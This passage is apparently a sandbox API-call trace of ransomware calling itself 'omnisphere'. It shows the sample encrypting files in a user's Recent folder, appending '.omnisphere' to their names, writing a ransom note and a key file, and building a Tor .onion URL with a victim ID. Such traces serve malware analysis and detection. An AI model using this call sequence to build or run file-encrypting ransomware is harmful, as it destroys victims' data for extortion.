pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.197] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.197] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0118.197] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3c9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.197] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.197] GetProcessHeap () returned 0x1600000 [0118.197] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16a01e0 [0118.197] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-8uag9oxuf-hk.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-8uag9oxuf-hk.lnk.omnisphere")) returned 1 [0118.198] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk.omnisphere.id" [0118.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-8uag9oxuf-hk.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.198] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.199] CloseHandle (hObject=0x3c0) returned 1 [0118.200] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.200] CloseHandle (hObject=0x288) returned 1 [0118.200] SetEndOfFile (hFile=0x28c) returned 1 [0118.200] FlushFileBuffers (hFile=0x28c) returned 1 [0118.203] CloseHandle (hObject=0x28c) returned 1 [0118.204] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.204] GetProcessHeap () returned 0x1600000 [0118.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a04a0 [0118.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.204] GetProcessHeap () returned 0x1600000 [0118.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693850 [0118.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693850, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.204] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.204] GetProcessHeap () returned 0x1600000 [0118.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686fc8 [0118.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686fc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.204] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.204] GetProcessHeap () returned 0x1600000 [0118.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16317f8 [0118.204] PathCombineW (in: pszDest=0x16317f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.204] GetProcessHeap () returned 0x1600000 [0118.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1697220 [0118.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.204] WriteFile (in: hFile=0x28c, lpBuffer=0x1697220*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1697220*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.205] CloseHandle (hObject=0x28c) returned 1 [0118.205] GetProcessHeap () returned 0x1600000 [0118.205] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a04a0 | out: hHeap=0x1600000) returned 1 [0118.205] GetProcessHeap () returned 0x1600000 [0118.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e208 [0118.205] PathCombineW (in: pszDest=0x162e208, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.205] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.205] CloseHandle (hObject=0x28c) returned 1 [0118.206] GetProcessHeap () returned 0x1600000 [0118.206] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e208 | out: hHeap=0x1600000) returned 1 [0118.206] GetProcessHeap () returned 0x1600000 [0118.206] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.206] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b67ace, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20b67ace, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20b67ace, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0xd3, cFileName="-dJtnAUOOQzvv7Sta.lnk", cAlternateFileName="-DJTNA~1.LNK")) returned 1 [0118.206] GetProcessHeap () returned 0x1600000 [0118.206] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1630de8 [0118.206] PathCombineW (in: pszDest=0x1630de8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="-dJtnAUOOQzvv7Sta.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk" [0118.206] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-djtnauooqzvv7sta.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.206] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1274) returned 1 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.206] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] GetTickCount () returned 0x115d8b9 [0118.207] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0118.208] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.208] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.208] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.208] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0118.208] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fa, lpName=0x0) returned 0x288 [0118.208] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fa) returned 0x1480000 [0118.208] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ce0) returned 1 [0118.209] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0118.209] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.209] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, 